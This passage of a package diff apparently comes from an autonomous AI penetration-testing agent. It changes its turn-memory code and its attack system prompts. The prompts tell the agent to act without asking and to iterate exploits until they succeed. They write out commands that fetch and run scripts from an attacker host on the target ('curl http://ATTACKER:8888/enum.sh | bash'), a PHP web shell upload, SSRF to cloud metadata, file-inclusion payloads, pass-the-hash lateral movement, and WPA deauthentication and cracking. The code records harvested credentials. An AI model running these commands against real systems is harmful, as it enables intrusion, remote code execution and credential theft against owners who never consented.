if (files.length <= MAX_JOURNAL_ENTRIES) return;
|
|
11360
|
-
const toDelete = files.slice(0, files.length - MAX_JOURNAL_ENTRIES);
|
|
11361
|
-
for (const file of toDelete) {
|
|
11362
|
-
try {
|
|
11363
|
-
unlinkSync5(join9(journalDir, file));
|
|
11364
|
-
} catch {
|
|
11365
|
-
}
|
|
11366
|
-
}
|
|
11367
|
-
debugLog("general", "Journal entries rotated", {
|
|
11368
|
-
deleted: toDelete.length,
|
|
11369
|
-
remaining: MAX_JOURNAL_ENTRIES
|
|
11370
|
-
});
|
|
11371
|
-
} catch {
|
|
11372
|
-
}
|
|
11373
|
-
}
|
|
11374
|
-
function rotateOutputFiles() {
|
|
11375
|
-
try {
|
|
11376
|
-
const outputDir = WORKSPACE.OUTPUTS;
|
|
11377
|
-
if (!existsSync8(outputDir)) return;
|
|
11378
|
-
const files = readdirSync2(outputDir).filter((f) => f.endsWith(".txt")).map((f) => ({
|
|
11379
|
-
name: f,
|
|
11380
|
-
path: join9(outputDir, f),
|
|
11381
|
-
mtime: statSync2(join9(outputDir, f)).mtimeMs
|
|
11382
|
-
})).sort((a, b) => b.mtime - a.mtime);
|
|
11383
|
-
if (files.length <= MAX_OUTPUT_FILES) return;
|
|
11384
|
-
const toDelete = files.slice(MAX_OUTPUT_FILES);
|
|
11385
|
-
for (const file of toDelete) {
|
|
11386
|
-
try {
|
|
11387
|
-
unlinkSync5(file.path);
|
|
11388
|
-
} catch {
|
|
11389
|
-
}
|
|
11390
|
-
}
|
|
11391
|
-
debugLog("general", "Output files rotated", {
|
|
11392
|
-
deleted: toDelete.length,
|
|
11393
|
-
remaining: MAX_OUTPUT_FILES
|
|
11394
|
-
});
|
|
11395
|
-
} catch {
|
|
11396
|
-
}
|
|
11397
|
-
}
|
|
11398
11472
|
function rotateTurnRecords() {
|
|
11399
11473
|
try {
|
|
11400
11474
|
const turnsDir = WORKSPACE.TURNS;
|
|
11401
11475
|
if (!existsSync8(turnsDir)) return;
|
|
11402
|
-
const
|
|
11403
|
-
if (
|
|
11404
|
-
|
|
11405
|
-
|
|
11406
|
-
|
|
11407
|
-
|
|
11408
|
-
|
|
11476
|
+
const turnDirs = parseTurnNumbers(turnsDir).map((n) => `${TURN_FOLDER_PREFIX}${n}`).filter((e) => statSync2(join9(turnsDir, e)).isDirectory()).sort((a, b) => Number(a.slice(TURN_FOLDER_PREFIX.length)) - Number(b.slice(TURN_FOLDER_PREFIX.length)));
|
|
11477
|
+
if (turnDirs.length > MEMORY_LIMITS.MAX_TURN_ENTRIES) {
|
|
11478
|
+
const dirsToDel = turnDirs.slice(0, turnDirs.length - MEMORY_LIMITS.MAX_TURN_ENTRIES);
|
|
11479
|
+
for (const dir of dirsToDel) {
|
|
11480
|
+
try {
|
|
11481
|
+
rmSync2(join9(turnsDir, dir), { recursive: true, force: true });
|
|
11482
|
+
} catch {
|
|
11483
|
+
}
|
|
11409
11484
|
}
|
|
11485
|
+
debugLog("general", "Turn folders rotated", {
|
|
11486
|
+
deleted: dirsToDel.length,
|
|
11487
|
+
remaining: MEMORY_LIMITS.MAX_TURN_ENTRIES
|
|
11488
|
+
});
|
|
11410
11489
|
}
|
|
11411
|
-
debugLog("general", "Turn records rotated", {
|
|
11412
|
-
deleted: toDelete.length,
|
|
11413
|
-
remaining: MAX_JOURNAL_ENTRIES
|
|
11414
|
-
});
|
|
11415
11490
|
} catch {
|
|
11416
11491
|
}
|
|
11417
11492
|
}
|
|
@@ -11726,20 +11801,10 @@ ${lines.join("\n")}
|
|
|
11726
11801
|
}
|
|
11727
11802
|
// --- §13: Session Journal Summary ---
|
|
11728
11803
|
/**
|
|
11729
|
-
* Load journal summary
|
|
11730
|
-
* falls back to deterministic journal summary.
|
|
11804
|
+
* Load journal summary from the latest turn folder.
|
|
11731
11805
|
*/
|
|
11732
11806
|
getJournalFragment() {
|
|
11733
11807
|
try {
|
|
11734
|
-
const summaryPath = join10(WORKSPACE.TURNS, "summary.md");
|
|
11735
|
-
if (existsSync9(summaryPath)) {
|
|
11736
|
-
const summary2 = readFileSync6(summaryPath, "utf-8");
|
|
11737
|
-
if (summary2.trim()) {
|
|
11738
|
-
return `<session-journal>
|
|
11739
|
-
${summary2}
|
|
11740
|
-
</session-journal>`;
|
|
11741
|
-
}
|
|
11742
|
-
}
|
|
11743
11808
|
const summary = readJournalSummary();
|
|
11744
11809
|
if (!summary) return "";
|
|
11745
11810
|
return `<session-journal>
|
|
@@ -11823,14 +11888,7 @@ var Strategist = class {
|
|
|
11823
11888
|
sections.push(failures);
|
|
11824
11889
|
}
|
|
11825
11890
|
try {
|
|
11826
|
-
|
|
11827
|
-
const summaryPath = join11(WORKSPACE.TURNS, "summary.md");
|
|
11828
|
-
if (existsSync10(summaryPath)) {
|
|
11829
|
-
journalSummary = readFileSync7(summaryPath, "utf-8").trim();
|
|
11830
|
-
}
|
|
11831
|
-
if (!journalSummary) {
|
|
11832
|
-
journalSummary = readJournalSummary();
|
|
11833
|
-
}
|
|
11891
|
+
const journalSummary = readJournalSummary();
|
|
11834
11892
|
if (journalSummary) {
|
|
11835
11893
|
sections.push("");
|
|
11836
11894
|
sections.push("## Session Journal (past turns summary)");
|
|
@@ -12146,42 +12204,42 @@ function formatTurnRecord(input) {
|
|
|
12146
12204
|
const sections = [];
|
|
12147
12205
|
sections.push(`# Turn ${turn} | ${time} | Phase: ${phase}`);
|
|
12148
12206
|
sections.push("");
|
|
12149
|
-
sections.push(
|
|
12207
|
+
sections.push(`## ${TURN_SECTIONS.TOOLS_EXECUTED}`);
|
|
12150
12208
|
if (tools.length === 0) {
|
|
12151
|
-
sections.push(
|
|
12209
|
+
sections.push(`- ${TURN_EMPTY_MESSAGES.NO_TOOLS}`);
|
|
12152
12210
|
} else {
|
|
12153
12211
|
for (const tool of tools) {
|
|
12154
|
-
const status = tool.success ?
|
|
12212
|
+
const status = tool.success ? STATUS_ICONS.SUCCESS : STATUS_ICONS.FAILURE;
|
|
12155
12213
|
const line = `- ${tool.name}(${tool.inputSummary}) \u2192 ${status} ${tool.analystSummary}`;
|
|
12156
12214
|
sections.push(line);
|
|
12157
12215
|
}
|
|
12158
12216
|
}
|
|
12159
12217
|
sections.push("");
|
|
12160
|
-
sections.push(
|
|
12218
|
+
sections.push(`## ${TURN_SECTIONS.KEY_INSIGHTS}`);
|
|
12161
12219
|
if (memo6.keyFindings.length > 0) {
|
|
12162
|
-
for (const f of memo6.keyFindings) sections.push(`- DISCOVERED: ${f}`);
|
|
12220
|
+
for (const f of memo6.keyFindings) sections.push(`- ${INSIGHT_TAGS.DISCOVERED}: ${f}`);
|
|
12163
12221
|
}
|
|
12164
12222
|
if (memo6.credentials.length > 0) {
|
|
12165
|
-
for (const c of memo6.credentials) sections.push(`- CREDENTIAL: ${c}`);
|
|
12223
|
+
for (const c of memo6.credentials) sections.push(`- ${INSIGHT_TAGS.CREDENTIAL}: ${c}`);
|
|
12166
12224
|
}
|
|
12167
12225
|
if (memo6.attackVectors.length > 0) {
|
|
12168
|
-
for (const v of memo6.attackVectors) sections.push(`- CONFIRMED: ${v}`);
|
|
12226
|
+
for (const v of memo6.attackVectors) sections.push(`- ${INSIGHT_TAGS.CONFIRMED}: ${v}`);
|
|
12169
12227
|
}
|
|
12170
12228
|
if (memo6.failures.length > 0) {
|
|
12171
|
-
for (const f of memo6.failures) sections.push(`-
|
|
12229
|
+
for (const f of memo6.failures) sections.push(`- ${INSIGHT_TAGS.DEAD_END}: ${f}`);
|
|
12172
12230
|
}
|
|
12173
12231
|
if (memo6.suspicions.length > 0) {
|
|
12174
|
-
for (const s of memo6.suspicions) sections.push(`- SUSPICIOUS: ${s}`);
|
|
12232
|
+
for (const s of memo6.suspicions) sections.push(`- ${INSIGHT_TAGS.SUSPICIOUS}: ${s}`);
|
|
12175
12233
|
}
|
|
12176
12234
|
if (memo6.nextSteps.length > 0) {
|
|
12177
|
-
for (const n of memo6.nextSteps) sections.push(`- NEXT: ${n}`);
|
|
12235
|
+
for (const n of memo6.nextSteps) sections.push(`- ${INSIGHT_TAGS.NEXT}: ${n}`);
|
|
12178
12236
|
}
|
|
12179
12237
|
if (memo6.keyFindings.length === 0 && memo6.failures.length === 0 && memo6.credentials.length === 0) {
|
|
12180
|
-
sections.push(
|
|
12238
|
+
sections.push(`- ${TURN_EMPTY_MESSAGES.NO_INSIGHTS}`);
|
|
12181
12239
|
}
|
|
12182
12240
|
sections.push("");
|
|
12183
|
-
sections.push(
|
|
12184
|
-
sections.push(reflection ||
|
|
12241
|
+
sections.push(`## ${TURN_SECTIONS.SELF_REFLECTION}`);
|
|
12242
|
+
sections.push(reflection || `- ${TURN_EMPTY_MESSAGES.NO_REFLECTION}`);
|
|
12185
12243
|
sections.push("");
|
|
12186
12244
|
return sections.join("\n");
|
|
12187
12245
|
}
|
|
@@ -12280,6 +12338,7 @@ var MainAgent = class extends CoreAgent {
|
|
|
12280
12338
|
if (this.turnCounter === 0) {
|
|
12281
12339
|
this.turnCounter = getNextTurnNumber();
|
|
12282
12340
|
}
|
|
12341
|
+
setCurrentTurn(this.turnCounter);
|
|
12283
12342
|
if (this.userInputQueue.hasPending()) {
|
|
12284
12343
|
const userMessage = this.userInputQueue.drainAndFormat();
|
|
12285
12344
|
if (userMessage) {
|
|
@@ -12343,12 +12402,11 @@ ${extraction.content.trim()}
|
|
|
12343
12402
|
memo: this.turnMemo,
|
|
12344
12403
|
reflection: this.turnReflections.length > 0 ? this.turnReflections.join(" | ") : this.turnMemo.nextSteps.join("; ")
|
|
12345
12404
|
};
|
|
12346
|
-
writeJournalEntry(entry);
|
|
12347
12405
|
try {
|
|
12348
|
-
|
|
12349
|
-
const
|
|
12350
|
-
|
|
12351
|
-
|
|
12406
|
+
const turnDir = WORKSPACE.turnPath(this.turnCounter);
|
|
12407
|
+
const toolsDir = WORKSPACE.turnToolsPath(this.turnCounter);
|
|
12408
|
+
ensureDirExists(turnDir);
|
|
12409
|
+
ensureDirExists(toolsDir);
|
|
12352
12410
|
const turnContent = formatTurnRecord({
|
|
12353
12411
|
turn: this.turnCounter,
|
|
12354
12412
|
timestamp: (/* @__PURE__ */ new Date()).toISOString(),
|
|
@@ -12357,12 +12415,31 @@ ${extraction.content.trim()}
|
|
|
12357
12415
|
memo: this.turnMemo,
|
|
12358
12416
|
reflection: entry.reflection
|
|
12359
12417
|
});
|
|
12360
|
-
writeFileSync9(
|
|
12418
|
+
writeFileSync9(join12(turnDir, TURN_FILES.RECORD), turnContent, "utf-8");
|
|
12419
|
+
writeFileSync9(join12(turnDir, TURN_FILES.STRUCTURED), JSON.stringify(entry, null, 2), "utf-8");
|
|
12420
|
+
const memoLines = [];
|
|
12421
|
+
if (this.turnMemo.keyFindings.length > 0) memoLines.push("## Key Findings", ...this.turnMemo.keyFindings.map((f) => `- ${f}`), "");
|
|
12422
|
+
if (this.turnMemo.credentials.length > 0) memoLines.push("## Credentials", ...this.turnMemo.credentials.map((c) => `- ${c}`), "");
|
|
12423
|
+
if (this.turnMemo.attackVectors.length > 0) memoLines.push("## Attack Vectors", ...this.turnMemo.attackVectors.map((v) => `- ${v}`), "");
|
|
12424
|
+
if (this.turnMemo.failures.length > 0) memoLines.push("## Failures", ...this.turnMemo.failures.map((f) => `- ${f}`), "");
|
|
12425
|
+
if (this.turnMemo.suspicions.length > 0) memoLines.push("## Suspicious", ...this.turnMemo.suspicions.map((s) => `- ${s}`), "");
|
|
12426
|
+
if (this.turnMemo.nextSteps.length > 0) memoLines.push("## Next Steps", ...this.turnMemo.nextSteps.map((n) => `- ${n}`), "");
|
|
12427
|
+
if (memoLines.length > 0) {
|
|
12428
|
+
writeFileSync9(join12(turnDir, TURN_FILES.ANALYST), memoLines.join("\n"), "utf-8");
|
|
12429
|
+
}
|
|
12361
12430
|
} catch {
|
|
12362
12431
|
}
|
|
12363
12432
|
try {
|
|
12364
|
-
const
|
|
12365
|
-
const
|
|
12433
|
+
const turnDir = WORKSPACE.turnPath(this.turnCounter);
|
|
12434
|
+
const summaryPath = join12(turnDir, TURN_FILES.SUMMARY);
|
|
12435
|
+
const prevTurn = this.turnCounter - 1;
|
|
12436
|
+
let existingSummary = "";
|
|
12437
|
+
if (prevTurn >= 1) {
|
|
12438
|
+
const prevSummaryPath = join12(WORKSPACE.turnPath(prevTurn), TURN_FILES.SUMMARY);
|
|
12439
|
+
if (existsSync11(prevSummaryPath)) {
|
|
12440
|
+
existingSummary = readFileSync8(prevSummaryPath, "utf-8");
|
|
12441
|
+
}
|
|
12442
|
+
}
|
|
12366
12443
|
const turnData = formatTurnRecord({
|
|
12367
12444
|
turn: this.turnCounter,
|
|
12368
12445
|
timestamp: (/* @__PURE__ */ new Date()).toISOString(),
|
|
@@ -12385,13 +12462,12 @@ ${turnData}`
|
|
|
12385
12462
|
SUMMARY_REGENERATOR_PROMPT
|
|
12386
12463
|
);
|
|
12387
12464
|
if (summaryResponse.content?.trim()) {
|
|
12465
|
+
ensureDirExists(turnDir);
|
|
12388
12466
|
writeFileSync9(summaryPath, summaryResponse.content.trim(), "utf-8");
|
|
12389
12467
|
}
|
|
12390
12468
|
} catch {
|
|
12391
12469
|
regenerateJournalSummary();
|
|
12392
12470
|
}
|
|
12393
|
-
rotateJournalEntries();
|
|
12394
|
-
rotateOutputFiles();
|
|
12395
12471
|
rotateTurnRecords();
|
|
12396
12472
|
} catch {
|
|
12397
12473
|
}
|
package/dist/network/prompt.md
CHANGED
|
@@ -24,7 +24,7 @@ nmap -Pn -p<ports> -sV -sC -O <target>
|
|
|
24
24
|
nmap -Pn -sU --top-ports 30 --min-rate=100 <target>
|
|
25
25
|
|
|
26
26
|
# 6. High-Speed Subnet Scan
|
|
27
|
-
masscan <CIDR> -p1-65535 --rate=1000 -oJ .pentesting/
|
|
27
|
+
masscan <CIDR> -p1-65535 --rate=1000 -oJ .pentesting/workspace/masscan.json
|
|
28
28
|
|
|
29
29
|
# 7. Stealth SYN Scan
|
|
30
30
|
nmap -Pn -sS -T2 --max-retries=1 <target>
|
|
@@ -68,4 +68,4 @@ Example:
|
|
|
68
68
|
2. **Actionable directives**: Specific, unambiguous commands.
|
|
69
69
|
3. **Realistic fallbacks**: Always include alternatives on failure.
|
|
70
70
|
4. **JSON block**: Ensure the JSON is in a valid markdown code block and perfectly parsable.
|
|
71
|
-
5. **Local file paths**: All output redirects MUST use `.pentesting/
|
|
71
|
+
5. **Local file paths**: All output redirects MUST use `.pentesting/workspace/` path (e.g., `> .pentesting/workspace/scan.txt`, `tee .pentesting/workspace/output.log`). The path `/tmp/` is BLOCKED for local commands.
|
package/dist/prompts/base.md
CHANGED
|
@@ -83,24 +83,24 @@ If you believe you have exhausted all approaches → use `ask_user` to confirm w
|
|
|
83
83
|
|
|
84
84
|
## Absolute Rules
|
|
85
85
|
|
|
86
|
-
### 0. ⚠️ LOCAL FILE PATHS — ALWAYS USE `.pentesting/
|
|
86
|
+
### 0. ⚠️ LOCAL FILE PATHS — ALWAYS USE `.pentesting/workspace/`
|
|
87
87
|
|
|
88
|
-
**All local files (on YOUR machine) MUST use `.pentesting/
|
|
88
|
+
**All local files (on YOUR machine) MUST use `.pentesting/workspace/`:**
|
|
89
89
|
|
|
90
90
|
```bash
|
|
91
91
|
# ✅ CORRECT — Local output files
|
|
92
|
-
nmap -sV target > .pentesting/
|
|
93
|
-
rustscan -a target | tee .pentesting/
|
|
94
|
-
nuclei -u target -o .pentesting/
|
|
95
|
-
curl -s url > .pentesting/
|
|
96
|
-
python3 exploit.py | tee .pentesting/
|
|
92
|
+
nmap -sV target > .pentesting/workspace/scan.txt
|
|
93
|
+
rustscan -a target | tee .pentesting/workspace/rustscan.log
|
|
94
|
+
nuclei -u target -o .pentesting/workspace/nuclei.txt
|
|
95
|
+
curl -s url > .pentesting/workspace/response.html
|
|
96
|
+
python3 exploit.py | tee .pentesting/workspace/exploit_output.txt
|
|
97
97
|
|
|
98
98
|
# ❌ FORBIDDEN — /tmp/ is NOT allowed for local files
|
|
99
99
|
nmap target > /tmp/scan.txt # ❌ BLOCKED
|
|
100
100
|
rustscan | tee /tmp/output.log # ❌ BLOCKED
|
|
101
101
|
```
|
|
102
102
|
|
|
103
|
-
**Why?** Security policy enforces `.pentesting/
|
|
103
|
+
**Why?** Security policy enforces `.pentesting/workspace/` as the only allowed redirect path.
|
|
104
104
|
|
|
105
105
|
**Exception:** Commands executed ON THE TARGET (via shell) can use `/tmp/`:
|
|
106
106
|
```bash
|
|
@@ -109,8 +109,8 @@ bg_process({ action: "interact", command: "wget http://attacker/file -O /tmp/fil
|
|
|
109
109
|
```
|
|
110
110
|
|
|
111
111
|
**Remember:**
|
|
112
|
-
- `write_file({ path: ".pentesting/
|
|
113
|
-
- `run_cmd({ command: "... > .pentesting/
|
|
112
|
+
- `write_file({ path: ".pentesting/workspace/..." })` → ✅
|
|
113
|
+
- `run_cmd({ command: "... > .pentesting/workspace/..." })` → ✅
|
|
114
114
|
- `run_cmd({ command: "... > /tmp/..." })` → ❌ BLOCKED
|
|
115
115
|
|
|
116
116
|
### 1. Act, Don't Ask
|
|
@@ -306,8 +306,8 @@ Additional principles:
|
|
|
306
306
|
1. web_search("{CVE_number} exploit PoC github")
|
|
307
307
|
2. browse_url(search_result_URL) → verify PoC code
|
|
308
308
|
3. Analyze code: check dependencies/execution conditions → install dependencies with run_cmd if needed
|
|
309
|
-
4. write_file({ path: ".pentesting/
|
|
310
|
-
5. run_cmd({ command: "python3 .pentesting/
|
|
309
|
+
4. write_file({ path: ".pentesting/workspace/exploit.py", content: "..." })
|
|
310
|
+
5. run_cmd({ command: "python3 .pentesting/workspace/exploit.py TARGET" })
|
|
311
311
|
6. On failure → analyze error → modify code (overwrite with write_file) → re-execute
|
|
312
312
|
7. Still failing → search for different PoC or modify code directly
|
|
313
313
|
```
|
|
@@ -343,8 +343,8 @@ Even when existing tools are available, writing your own is often faster and mor
|
|
|
343
343
|
|
|
344
344
|
### Write Code → Execute → Iterate
|
|
345
345
|
```
|
|
346
|
-
1. write_file({ path: ".pentesting/
|
|
347
|
-
2. run_cmd({ command: "python3 .pentesting/
|
|
346
|
+
1. write_file({ path: ".pentesting/workspace/exploit.py", content: "..." })
|
|
347
|
+
2. run_cmd({ command: "python3 .pentesting/workspace/exploit.py" })
|
|
348
348
|
3. Error → analyze error → modify with write_file → re-execute
|
|
349
349
|
4. Repeat this loop until success. No giving up.
|
|
350
350
|
```
|
|
@@ -362,8 +362,8 @@ Even when existing tools are available, writing your own is often faster and mor
|
|
|
362
362
|
If you have a shell, you can write and execute code **directly on the target machine**:
|
|
363
363
|
```
|
|
364
364
|
# Method 1: Write locally → transfer via HTTP → execute on target
|
|
365
|
-
write_file({ path: ".pentesting/
|
|
366
|
-
run_cmd({ command: "python3 -m http.server 8888 -d .pentesting/
|
|
365
|
+
write_file({ path: ".pentesting/workspace/enum.sh", content: "#!/bin/bash\nfind / -perm -4000 ..." })
|
|
366
|
+
run_cmd({ command: "python3 -m http.server 8888 -d .pentesting/workspace", background: true })
|
|
367
367
|
bg_process({ action: "interact", ..., command: "curl http://ATTACKER:8888/enum.sh | bash" })
|
|
368
368
|
|
|
369
369
|
# Method 2: Write directly in shell (using echo/cat)
|
|
@@ -376,7 +376,7 @@ bg_process({ action: "interact", ..., command: "python3 -c 'import os; os.system
|
|
|
376
376
|
### Code Crafting Principles
|
|
377
377
|
1. **Small and fast** — quickly build a 20-line script and test. No need for perfection
|
|
378
378
|
2. **Iterative improvement** — error → fix → re-execute. No limit on iterations
|
|
379
|
-
3. **Reuse** — save to `.pentesting/
|
|
379
|
+
3. **Reuse** — save to `.pentesting/workspace/` and reuse. Can also transfer to target
|
|
380
380
|
4. **Error handling** — wrap in try/except so the process doesn't die
|
|
381
381
|
5. **Execute on target too** — transfer scripts to target via shell → execute
|
|
382
382
|
6. **Don't be afraid to modify existing code** — whether PoC or tool, adapt it for the environment
|
|
@@ -478,8 +478,8 @@ bg_process({ action: "interact", ..., command: "perl -e 'exec \"/bin/bash\";'" }
|
|
|
478
478
|
**Attempt 5: Download upgrade script from local server**
|
|
479
479
|
```
|
|
480
480
|
# Prepare locally:
|
|
481
|
-
write_file({ path: ".pentesting/
|
|
482
|
-
run_cmd({ command: "python3 -m http.server 8888 -d .pentesting/
|
|
481
|
+
write_file({ path: ".pentesting/workspace/u.sh", content: "#!/bin/bash\npython3 -c 'import pty;pty.spawn(\"/bin/bash\")' 2>/dev/null || python -c 'import pty;pty.spawn(\"/bin/bash\")' 2>/dev/null || script -qc /bin/bash /dev/null 2>/dev/null || expect -c 'spawn bash; interact' 2>/dev/null || /bin/bash -i" })
|
|
482
|
+
run_cmd({ command: "python3 -m http.server 8888 -d .pentesting/workspace", background: true })
|
|
483
483
|
|
|
484
484
|
# Download on target (try multiple methods):
|
|
485
485
|
bg_process({ action: "interact", ..., command: "curl http://MYIP:8888/u.sh -o /tmp/.u && chmod +x /tmp/.u && bash /tmp/.u" })
|
|
@@ -626,24 +626,11 @@ Ask yourself at every Reflect step:
|
|
|
626
626
|
8. **Search when stuck** — `web_search` and `browse_url` are the most powerful weapons
|
|
627
627
|
9. **Write code directly if needed** — write scripts with `write_file` → execute with `run_cmd`
|
|
628
628
|
|
|
629
|
-
## 📂 Session Memory
|
|
629
|
+
## 📂 Session Memory
|
|
630
630
|
|
|
631
|
-
Your past actions and
|
|
631
|
+
Your workspace is `.pentesting/` — all your past actions, outputs, and analysis are saved here. **Nothing is lost.**
|
|
632
632
|
|
|
633
|
-
|
|
634
|
-
.
|
|
635
|
-
├── summary.md ← Full session summary (updated every turn)
|
|
636
|
-
├── turn-0001_2026-02-21T08-30-15.md ← Turn 1 details
|
|
637
|
-
├── turn-0002_2026-02-21T08-31-22.md ← Turn 2 details
|
|
638
|
-
└── ...
|
|
639
|
-
```
|
|
640
|
-
|
|
641
|
-
**Each turn file has 3 sections:**
|
|
642
|
-
- `## 실행 도구` — Exact commands/tools/arguments used
|
|
643
|
-
- `## 핵심 인사이트` — What was discovered, confirmed, or failed
|
|
644
|
-
- `## 자기반성` — Turn assessment and next priority
|
|
633
|
+
- **`.pentesting/archive/`** — Each turn is a named folder (`turn-1/`, `turn-2/`, `turn-3/`, ...). Browse any turn to see what happened — the filenames are self-explanatory.
|
|
634
|
+
- Each turn folder contains a `summary.md` with the session overview as of that turn. **Read the latest turn's `summary.md` for the full picture.**
|
|
645
635
|
|
|
646
|
-
**
|
|
647
|
-
- `summary.md` gives you the full picture — read it to understand where you stand
|
|
648
|
-
- Need details of a specific past turn? → `read_file(".pentesting/memory/turns/turn-0005_...")`
|
|
649
|
-
- All past findings, credentials, dead ends are preserved — never lost
|
|
636
|
+
**Use `read_file` freely** to review past turns, tool outputs, and analysis whenever you need context. The structure is designed so you can navigate it without instructions.
|
package/dist/prompts/infra.md
CHANGED
|
@@ -89,7 +89,7 @@ impacket-psexec -hashes :<ntlm> <domain>/<user>@<target>
|
|
|
89
89
|
crackmapexec smb <targets> -u <user> -H <ntlm> --exec-method smbexec -x "whoami"
|
|
90
90
|
|
|
91
91
|
# Pass-the-Ticket
|
|
92
|
-
export KRB5CCNAME=.pentesting/
|
|
92
|
+
export KRB5CCNAME=.pentesting/workspace/admin.ccache
|
|
93
93
|
impacket-psexec -k -no-pass <domain>/<user>@<target>
|
|
94
94
|
```
|
|
95
95
|
|
package/dist/prompts/vuln.md
CHANGED
|
@@ -23,10 +23,10 @@ Every turn, you must:
|
|
|
23
23
|
### Phase 1: Automated Scanning
|
|
24
24
|
```bash
|
|
25
25
|
# Nuclei — Critical/High only
|
|
26
|
-
nuclei -u <target> -severity critical,high -silent -o .pentesting/
|
|
26
|
+
nuclei -u <target> -severity critical,high -silent -o .pentesting/workspace/nuclei-results.txt
|
|
27
27
|
|
|
28
28
|
# Nikto — web server
|
|
29
|
-
nikto -h <target> -C all -Format txt -output .pentesting/
|
|
29
|
+
nikto -h <target> -C all -Format txt -output .pentesting/workspace/nikto.txt
|
|
30
30
|
|
|
31
31
|
# testssl — TLS vulnerabilities
|
|
32
32
|
testssl --severity HIGH <target>:443
|
|
@@ -56,7 +56,7 @@ curl "http://<target>/page?file=php://filter/convert.base64-encode/resource=/etc
|
|
|
56
56
|
|
|
57
57
|
# RFI (payload server needed)
|
|
58
58
|
# 1. Start payload server
|
|
59
|
-
run_cmd({ command: "python3 -m http.server 8888 -d .pentesting/
|
|
59
|
+
run_cmd({ command: "python3 -m http.server 8888 -d .pentesting/workspace", background: true })
|
|
60
60
|
# 2. RFI test
|
|
61
61
|
curl "http://<target>/page?file=http://MYIP:8888/test.php"
|
|
62
62
|
# 3. Check results then clean up server
|
package/dist/web/prompt.md
CHANGED
|
@@ -45,8 +45,8 @@ curl "http://<target>/page?name={{7*7}}"
|
|
|
45
45
|
curl "http://<target>/fetch?url=http://169.254.169.254/latest/meta-data/"
|
|
46
46
|
|
|
47
47
|
# File Upload → Web Shell
|
|
48
|
-
echo '<?php system($_GET["cmd"]); ?>' > .pentesting/
|
|
49
|
-
curl -F "file=@.pentesting/
|
|
48
|
+
echo '<?php system($_GET["cmd"]); ?>' > .pentesting/workspace/shell.php
|
|
49
|
+
curl -F "file=@.pentesting/workspace/shell.php" http://<target>/upload
|
|
50
50
|
```
|
|
51
51
|
|
|
52
52
|
## Output
|
package/dist/wireless/prompt.md
CHANGED
|
@@ -21,7 +21,7 @@ airodump-ng wlan0mon
|
|
|
21
21
|
airodump-ng wlan0mon --band abg # Including 5GHz
|
|
22
22
|
|
|
23
23
|
# Specific Network + Client Capture
|
|
24
|
-
airodump-ng wlan0mon -c <channel> --bssid <bssid> -w .pentesting/
|
|
24
|
+
airodump-ng wlan0mon -c <channel> --bssid <bssid> -w .pentesting/workspace/capture
|
|
25
25
|
|
|
26
26
|
# WPS Vulnerability Check
|
|
27
27
|
wash -i wlan0mon
|
|
@@ -29,18 +29,18 @@ reaver -i wlan0mon -b <bssid> -vv
|
|
|
29
29
|
|
|
30
30
|
# WPA/WPA2 Handshake Capture
|
|
31
31
|
aireplay-ng -0 5 -a <bssid> wlan0mon # deauth
|
|
32
|
-
airodump-ng wlan0mon -c <ch> --bssid <bssid> -w .pentesting/
|
|
32
|
+
airodump-ng wlan0mon -c <ch> --bssid <bssid> -w .pentesting/workspace/handshake
|
|
33
33
|
# Verify Handshake Capture
|
|
34
|
-
aircrack-ng .pentesting/
|
|
34
|
+
aircrack-ng .pentesting/workspace/handshake-01.cap
|
|
35
35
|
|
|
36
36
|
# Handshake Cracking
|
|
37
|
-
aircrack-ng -w /usr/share/wordlists/rockyou.txt .pentesting/
|
|
38
|
-
hashcat -m 22000 .pentesting/
|
|
37
|
+
aircrack-ng -w /usr/share/wordlists/rockyou.txt .pentesting/workspace/handshake-01.cap
|
|
38
|
+
hashcat -m 22000 .pentesting/workspace/handshake.hc22000 /usr/share/wordlists/rockyou.txt
|
|
39
39
|
|
|
40
40
|
# PMKID Attack (no client needed)
|
|
41
|
-
hcxdumptool -i wlan0mon --enable_status=1 -o .pentesting/
|
|
42
|
-
hcxpcapngtool .pentesting/
|
|
43
|
-
hashcat -m 22000 .pentesting/
|
|
41
|
+
hcxdumptool -i wlan0mon --enable_status=1 -o .pentesting/workspace/pmkid.pcapng
|
|
42
|
+
hcxpcapngtool .pentesting/workspace/pmkid.pcapng -o .pentesting/workspace/pmkid.hash
|
|
43
|
+
hashcat -m 22000 .pentesting/workspace/pmkid.hash /usr/share/wordlists/rockyou.txt
|
|
44
44
|
|
|
45
45
|
# Evil Twin / Rogue AP
|
|
46
46
|
hostapd-mana /etc/hostapd-mana/hostapd-mana.conf
|